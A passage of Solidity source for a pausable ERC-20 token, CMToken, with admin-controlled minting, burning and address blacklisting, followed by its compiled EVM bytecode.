public onlyPauser whenNotPaused { _paused = true; emit Paused(msg.sender); } function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(msg.sender); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; event Issue(address indexed account, uint256 amount); event Redeem(address indexed account, uint256 value); function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } function _issue(address account, uint256 amount) internal { require(account != address(0), "CoinFactory: issue to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); emit Issue(account, amount); } function _redeem(address account, uint256 value) internal { require(account != address(0), "CoinFactory: redeem from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); emit Redeem(account, value); } } contract ERC20Pausable is ERC20, Pausable { function transfer(address to, uint256 value) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } function approve(address spender, uint256 value) public whenNotPaused returns (bool) { return super.approve(spender, value); } function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool) { return super.decreaseAllowance(spender, subtractedValue); } } contract CoinFactoryAdminRole is Ownable { using Roles for Roles.Role; event CoinFactoryAdminRoleAdded(address indexed account); event CoinFactoryAdminRoleRemoved(address indexed account); Roles.Role private _coinFactoryAdmins; constructor () internal { _addCoinFactoryAdmin(msg.sender); } modifier onlyCoinFactoryAdmin() { require(isCoinFactoryAdmin(msg.sender), "CoinFactoryAdminRole: caller does not have the CoinFactoryAdmin role"); _; } function isCoinFactoryAdmin(address account) public view returns (bool) { return _coinFactoryAdmins.has(account); } function addCoinFactoryAdmin(address account) public onlyOwner { _addCoinFactoryAdmin(account); } function removeCoinFactoryAdmin(address account) public onlyOwner { _removeCoinFactoryAdmin(account); } function renounceCoinFactoryAdmin() public { _removeCoinFactoryAdmin(msg.sender); } function _addCoinFactoryAdmin(address account) internal { _coinFactoryAdmins.add(account); emit CoinFactoryAdminRoleAdded(account); } function _removeCoinFactoryAdmin(address account) internal { _coinFactoryAdmins.remove(account); emit CoinFactoryAdminRoleRemoved(account); } } contract CoinFactory is ERC20, CoinFactoryAdminRole { function issue(address account, uint256 amount) public onlyCoinFactoryAdmin returns (bool) { _issue(account, amount); return true; } function redeem(address account, uint256 amount) public onlyCoinFactoryAdmin returns (bool) { _redeem(account, amount); return true; } } contract BlacklistAdminRole is Ownable { using Roles for Roles.Role; event BlacklistAdminAdded(address indexed account); event BlacklistAdminRemoved(address indexed account); Roles.Role private _blacklistAdmins; constructor () internal { _addBlacklistAdmin(msg.sender); } modifier onlyBlacklistAdmin() { require(isBlacklistAdmin(msg.sender), "BlacklistAdminRole: caller does not have the BlacklistAdmin role"); _; } function isBlacklistAdmin(address account) public view returns (bool) { return _blacklistAdmins.has(account); } function addBlacklistAdmin(address account) public onlyOwner { _addBlacklistAdmin(account); } function removeBlacklistAdmin(address account) public onlyOwner { _removeBlacklistAdmin(account); } function renounceBlacklistAdmin() public { _removeBlacklistAdmin(msg.sender); } function _addBlacklistAdmin(address account) internal { _blacklistAdmins.add(account); emit BlacklistAdminAdded(account); } function _removeBlacklistAdmin(address account) internal { _blacklistAdmins.remove(account); emit BlacklistAdminRemoved(account); } } contract Blacklist is ERC20, BlacklistAdminRole { mapping (address => bool) private _blacklist; event BlacklistAdded(address indexed account); event BlacklistRemoved(address indexed account); function isBlacklist(address account) public view returns (bool) { return _blacklist[account]; } function addBlacklist(address[] memory accounts) public onlyBlacklistAdmin returns (bool) { for(uint i = 0; i < accounts.length; i++) { _addBlacklist(accounts[i]); } } function removeBlacklist(address[] memory accounts) public onlyBlacklistAdmin returns (bool) { for(uint i = 0; i < accounts.length; i++) { _removeBlacklist(accounts[i]); } } function _addBlacklist(address account) internal { _blacklist[account] = true; emit BlacklistAdded(account); } function _removeBlacklist(address account) internal { _blacklist[account] = false; emit BlacklistRemoved(account); } } contract CMToken is ERC20, ERC20Pausable, CoinFactory, Blacklist { string public name; string public symbol; uint8 public decimals; uint256 private _totalSupply; constructor (string memory _name, string memory _symbol, uint8 _decimals) public { _totalSupply = 0; name = _name; symbol = _symbol; decimals = _decimals; } function transfer(address to, uint256 value) public whenNotPaused returns (bool) { require(!isBlacklist(msg.sender), "CMToken: caller in blacklist can't transfer"); require(!isBlacklist(to), "CMToken: not allow to transfer to recipient address in blacklist"); return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { require(!isBlacklist(msg.sender), "CMToken: caller in blacklist can't transferFrom"); require(!isBlacklist(from), "CMToken: from in blacklist can't transfer"); require(!isBlacklist(to), "CMToken: not allow to transfer to recipient address in blacklist"); return super.transferFrom(from, to, value); } }
0x608060405234801561001057600080fd5b50600436106102065760003560e01c80636ef8d66d1161011a57806395d89b41116100ad578063cf7d6db71161007c578063cf7d6db714610b19578063d3ce790514610b75578063dd62ed3e14610bb9578063e5c855c914610c31578063f2fde38b14610c7557610206565b806395d89b4114610986578063998b479214610a09578063a457c2d714610a4d578063a9059cbb14610ab357610206565b80638456cb59116100e95780638456cb59146108aa578063867904b4146108b45780638da5cb5b1461091a5780638f32d59b1461096457610206565b80636ef8d66d1461073457806370a082311461073e5780637911ef9d1461079657806382dc1ec41461086657610206565b806332068e911161019d5780633f4ba83a1161016c5780633f4ba83a1461062457806346fbf68e1461062e5780635c975abb1461068a5780635e612bab146106ac5780636b2c0f55146106f057610206565b806332068e9114610488578063333e99db1461049257806339509351146104ee5780633d2cc56c1461055457610206565b80631e9a6950116101d95780631e9a69501461036e57806323b872dd146103d4578063243f24731461045a578063313ce5671461046457610206565b806306fdde031461020b578063095ea7b31461028e57806316d2e650146102f457806318160ddd14610350575b600080fd5b610213610cb9565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610253578082015181840152602081019050610238565b50505050905090810190601f1680156102805780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102da600480360360408110156102a457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d57565b604051808215151515815260200191505060405180910390f35b6103366004803603602081101561030a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dee565b604051808215151515815260200191505060405180910390f35b610358610e0b565b6040518082815260200191505060405180910390f35b6103ba6004803603604081101561038457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e15565b604051808215151515815260200191505060405180910390f35b610440600480360360608110156103ea57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e89565b604051808215151515815260200191505060405180910390f35b61046261103f565b005b61046c61104a565b604051808260ff1660ff16815260200191505060405180910390f35b61049061105d565b005b6104d4600480360360208110156104a857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b604051808215151515815260200191505060405180910390f35b61053a6004803603604081101561050457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110be565b604051808215151515815260200191505060405180910390f35b61060a6004803603602081101561056a57600080fd5b810190808035906020019064010000000081111561058757600080fd5b82018360208201111561059957600080fd5b803590602001918460208302840111640100000000831117156105bb57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611155565b604051808215151515815260200191505060405180910390f35b61062c6111f3565b005b6106706004803603602081101561064457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611353565b604051808215151515815260200191505060405180910390f35b610692611370565b604051808215151515815260200191505060405180910390f35b6106ee600480360360208110156106c257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611387565b005b6107326004803603602081101561070657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061140d565b005b61073c611493565b005b6107806004803603602081101561075457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061149e565b6040518082815260200191505060405180910390f35b61084c600480360360208110156107ac57600080fd5b81019080803590602001906401000000008111156107c957600080fd5b8201836020820111156107db57600080fd5b803590602001918460208302840111640100000000831117156107fd57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506114e7565b604051808215151515815260200191505060405180910390f35b6108a86004803603602081101561087c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611585565b005b6108b261160b565b005b610900600480360360408110156108ca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061176c565b604051808215151515815260200191505060405180910390f35b6109226117e0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61096c611809565b604051808215151515815260200191505060405180910390f35b61098e611860565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109ce5780820151818401526020810190506109b3565b50505050905090810190601f1680156109fb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610a4b60048036036020811015610a1f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118fe565b005b610a9960048036036040811015610a6357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611984565b604051808215151515815260200191505060405180910390f35b610aff60048036036040811015610ac957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a1b565b604051808215151515815260200191505060405180910390f35b610b5b60048036036020811015610b2f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b70565b604051808215151515815260200191505060405180910390f35b610bb760048036036020811015610b8b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b8d565b005b610c1b60048036036040811015610bcf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c13565b6040518082815260200191505060405180910390f35b610c7360048036036020811015610c4757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c9a565b005b610cb760048036036020811015610c8b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d20565b005b60098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d4f5780601f10610d2457610100808354040283529160200191610d4f565b820191906000526020600020905b815481529060010190602001808311610d3257829003601f168201915b505050505081565b6000600560009054906101000a900460ff1615610ddc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b610de68383611da6565b905092915050565b6000610e04826007611dbd90919063ffffffff16565b9050919050565b6000600354905090565b6000610e2033611b70565b610e75576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260448152602001806133546044913960600191505060405180910390fd5b610e7f8383611e9b565b6001905092915050565b6000600560009054906101000a900460ff1615610f0e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b610f1733611068565b15610f6d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180613424602f913960400191505060405180910390fd5b610f7684611068565b15610fcc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806131df6029913960400191505060405180910390fd5b610fd583611068565b1561102b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260408152602001806132086040913960400191505060405180910390fd5b611036848484612089565b90509392505050565b61104833612122565b565b600b60009054906101000a900460ff1681565b6110663361217c565b565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560009054906101000a900460ff1615611143576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b61114d83836121d6565b905092915050565b600061116033610dee565b6111b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260408152602001806133146040913960400191505060405180910390fd5b60008090505b82518110156111ed576111e08382815181106111d357fe5b602002602001015161227b565b80806001019150506111bb565b50919050565b6111fc33611353565b611251576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806132486030913960400191505060405180910390fd5b600560009054906101000a900460ff166112d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f5061757361626c653a206e6f742070617573656400000000000000000000000081525060200191505060405180910390fd5b6000600560006101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa33604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b6000611369826004611dbd90919063ffffffff16565b9050919050565b6000600560009054906101000a900460ff16905090565b61138f611809565b611401576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61140a81612122565b50565b611415611809565b611487576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61149081612319565b50565b61149c33612319565b565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006114f233610dee565b611547576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260408152602001806133146040913960400191505060405180910390fd5b60008090505b825181101561157f5761157283828151811061156557fe5b6020026020010151612373565b808060010191505061154d565b50919050565b61158d611809565b6115ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61160881612411565b50565b61161433611353565b611669576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806132486030913960400191505060405180910390fd5b600560009054906101000a900460ff16156116ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6001600560006101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25833604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b600061177733611b70565b6117cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260448152602001806133546044913960600191505060405180910390fd5b6117d6838361246b565b6001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b600a8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156118f65780601f106118cb576101008083540402835291602001916118f6565b820191906000526020600020905b8154815290600101906020018083116118d957829003601f168201915b505050505081565b611906611809565b611978576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61198181612659565b50565b6000600560009054906101000a900460ff1615611a09576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b611a1383836126b3565b905092915050565b6000600560009054906101000a900460ff1615611aa0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b611aa933611068565b15611aff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b8152602001806132c0602b913960400191505060405180910390fd5b611b0883611068565b15611b5e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260408152602001806132086040913960400191505060405180910390fd5b611b688383612758565b905092915050565b6000611b86826006611dbd90919063ffffffff16565b9050919050565b611b95611809565b611c07576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611c10816127ef565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611ca2611809565b611d14576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611d1d8161217c565b50565b611d28611809565b611d9a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611da381612849565b50565b6000611db333848461298d565b6001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611e44576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806133b96022913960400191505060405180910390fd5b8260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f21576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806132eb6029913960400191505060405180910390fd5b611f3681600354612b8490919063ffffffff16565b600381905550611f8e81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b8490919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff167f222838db2794d11532d940e8dec38ae307ed0b63cd97c233322e221f998767a6826040518082815260200191505060405180910390a25050565b6000600560009054906101000a900460ff161561210e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b612119848484612c0d565b90509392505050565b612136816007612cbe90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fba73eacdfe215f630abb6a8a78e5be613e50918b52e691bba35d46c06e20d6c860405160405180910390a250565b612190816006612cbe90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f15bf0aef1cc552f782bc5ad7121d42ea78efbfbec8dd9e16fb9f37967ad763fb60405160405180910390a250565b6000612271338461226c85600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d7b90919063ffffffff16565b61298d565b6001905092915050565b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f44d5fe68b00f68950fb9c1ff0a61ef7f747b1a36359a7e3a7f3324db4b87896760405160405180910390a250565b61232d816004612cbe90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fcd265ebaf09df2871cc7bd4133404a235ba12eff2041bb89d9c714a2621c7c7e60405160405180910390a250565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f1747ca720b1a174a464b6513ace29b1d3190b5f632b9f34147017c81425bfde860405160405180910390a250565b612425816004612e0390919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f6719d08c1888103bea251a4ed56406bd0c3e69723c8a1686e017e7bbe159b6f860405160405180910390a250565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156124f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806131966026913960400191505060405180910390fd5b61250681600354612d7b90919063ffffffff16565b60038190555061255e81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d7b90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff167fc65a3f767206d2fdcede0b094a4840e01c0dd0be1888b5ba800346eaa0123c16826040518082815260200191505060405180910390a25050565b61266d816006612e0390919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f9e8b5fbf24fd7f86d2666e8f27ffdeb7c0aa870faa1980ad7290677152938dfa60405160405180910390a250565b600061274e338461274985600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b8490919063ffffffff16565b61298d565b6001905092915050565b6000600560009054906101000a900460ff16156127dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6127e78383612ede565b905092915050565b612803816007612e0390919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fa6124c7f565d239231ddc9de42e684db7443c994c658117542be9c50f561943860405160405180910390a250565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156128cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806132786026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612a13576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806134006024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612a99576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061329e6022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600082821115612bfc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b6000612c1a848484612ef5565b612cb38433612cae85600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b8490919063ffffffff16565b61298d565b600190509392505050565b612cc88282611dbd565b612d1d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806133986021913960400191505060405180910390fd5b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600080828401905083811015612df9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b612e0d8282611dbd565b15612e80576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f526f6c65733a206163636f756e7420616c72656164792068617320726f6c650081525060200191505060405180910390fd5b60018260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000612eeb338484612ef5565b6001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612f7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806133db6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613001576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806131bc6023913960400191505060405180910390fd5b61305381600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b8490919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130e881600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d7b90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505056fe436f696e466163746f72793a20697373756520746f20746865207a65726f206164647265737345524332303a207472616e7366657220746f20746865207a65726f2061646472657373434d546f6b656e3a2066726f6d20696e20626c61636b6c6973742063616e2774207472616e73666572434d546f6b656e3a206e6f7420616c6c6f7720746f207472616e7366657220746f20726563697069656e74206164647265737320696e20626c61636b6c697374506175736572526f6c653a2063616c6c657220646f6573206e6f742068617665207468652050617573657220726f6c654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373434d546f6b656e3a2063616c6c657220696e20626c61636b6c6973742063616e2774207472616e73666572436f696e466163746f72793a2072656465656d2066726f6d20746865207a65726f2061646472657373426c61636b6c69737441646d696e526f6c653a2063616c6c657220646f6573206e6f7420686176652074686520426c61636b6c69737441646d696e20726f6c65436f696e466163746f727941646d696e526f6c653a2063616c6c657220646f6573206e6f7420686176652074686520436f696e466163746f727941646d696e20726f6c65526f6c65733a206163636f756e7420646f6573206e6f74206861766520726f6c65526f6c65733a206163636f756e7420697320746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373434d546f6b656e3a2063616c6c657220696e20626c61636b6c6973742063616e2774207472616e7366657246726f6da165627a7a72305820f7c8500a281e